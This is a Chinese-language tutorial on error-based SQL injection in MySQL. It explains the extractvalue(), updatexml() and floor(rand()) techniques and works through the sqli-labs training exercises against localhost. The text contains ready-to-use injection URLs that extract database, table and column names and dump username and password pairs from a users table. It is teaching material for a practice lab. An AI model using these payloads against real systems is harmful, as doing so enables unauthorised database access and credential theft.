报错注入是什么
什么是报错注入?
这是一种页面响应形式。响应过程如下:
用户在前台页面输入检索内容
后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行。
数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上。
报错注入存在的基础:两个“无加区别”后台对于输入输出的合理性没有做检查
分类
1. 通过floor()报错注入
2.通过extractValue()报错注入
3.通过updateXml()报错注入
4.通过NAME_CONST()报错注入
5.通过jion()报错注入
6.通过exp()报错注入
......
常用的是前三种注入,所以本篇只介绍前三种报错的方式
extractvalue报错注入
通过extractValue()报错注入
函数extractValue() 包含两个参数
第一个参数 XML文档对象名称 , 第二个参数 路径
eg:使用extractvalue查询xml里面的内容
> select extractvalue(doc,'/book/author/surname') from xml;
如果需要查询书名则可以用如下命令
>select extractvalue(doc,'/book/title') from xml;
那么它是如何报错的呢?
由图可知 extractvalue()函数对查询参数格式符号非常敏感,只需把符号写错可以提示报错信息
所以以下是一句extractvalue报错注入的语句
?id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
也可以是
?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
这里的0x7e相当于'~'
concat()函数的作用相当于把括号里的内容拼接起来
eg:concat(1,2)输出就是12
题目例示---sqlilabs-less5
在闭合且爆完列数后按照常规的字符型注入方法发现没有回显 判断为报错注入
利用语句
http://localhost/sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+
报错回显出数据库名
继续爆出表名输入
http://localhost/sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
列名
http://localhost/sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()))) --+
数据
http://localhost/sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+
这里用
使用函数substring解决只能返回32个字符串问题
updatexml函数报错注入
函数updatexml(XML_document,XPath_string,new_value) 包含三个参数
第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc
第二个参数: XPath string是路径,XPath格式的字符串
第三个参数: new_value,string格式,替换查找到的符合条件的数据
updatexml报错原理
同extractvalue(),输入错误的第二个参数,即更改路径的符号
题目例示---sqlilabs-less4
?id=1") and 1=updatexml(1,concat('~',(select database())),3) --+
?id=1") and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),3) --+
?id=1") and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3) --+
floor函数报错注入
这个报错可以展现64位的字符串
涉及到的函数
rand()函数: 随机返回0~1间的小数
floor()函数: 小数向下取整数。
向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
>select concat ws(-,(select database()),floor(rand()*2));
输出结果为 “security-0" 或者 "security-1"
group by子句: 分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
as: 别名
count()函数:汇总统计数量
limit: 这里用于显示指定行数
报错原因
> select floor(rand()*2) from users; 根据users的行数随机显示0或1
> select floor(rand(0)*2) from users; 计算机不再随机,而是按一定顺序排序
> select floor(rand(1)*2) from users; 计算机不再随机,而是按一定顺序排序
why?
rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
这句话非常难以理解 是需要翻译的中国话
我们来逐字逐句翻译一下
键值k相当于分组时的类别 比如 把人分为男女 男的有多少个 女的有多少个 这里的男女就相当于这个键值key
所以在上述语言中
security-0
security-1就是所说的键值key
题目例示---sqlilabs-less5
?id=1' union select 1,count(*),concat_ws('-',(select version()),floor(rand(0)*2)) as x from information_schema.tables group by x --+
?id=1' union select 1,count(*),concat_ws('-',(database()),floor(rand(0)*2)) as x from information_schema.tables group by x --+
这里爆表名和列名的时候出现了问题
输入代码
http://localhost/sql/Less-5/?id=1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x --+
发现没有回显
可能是字符串太长的原因
可以该用concat
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+
把中间的命令改一下 就大功告成了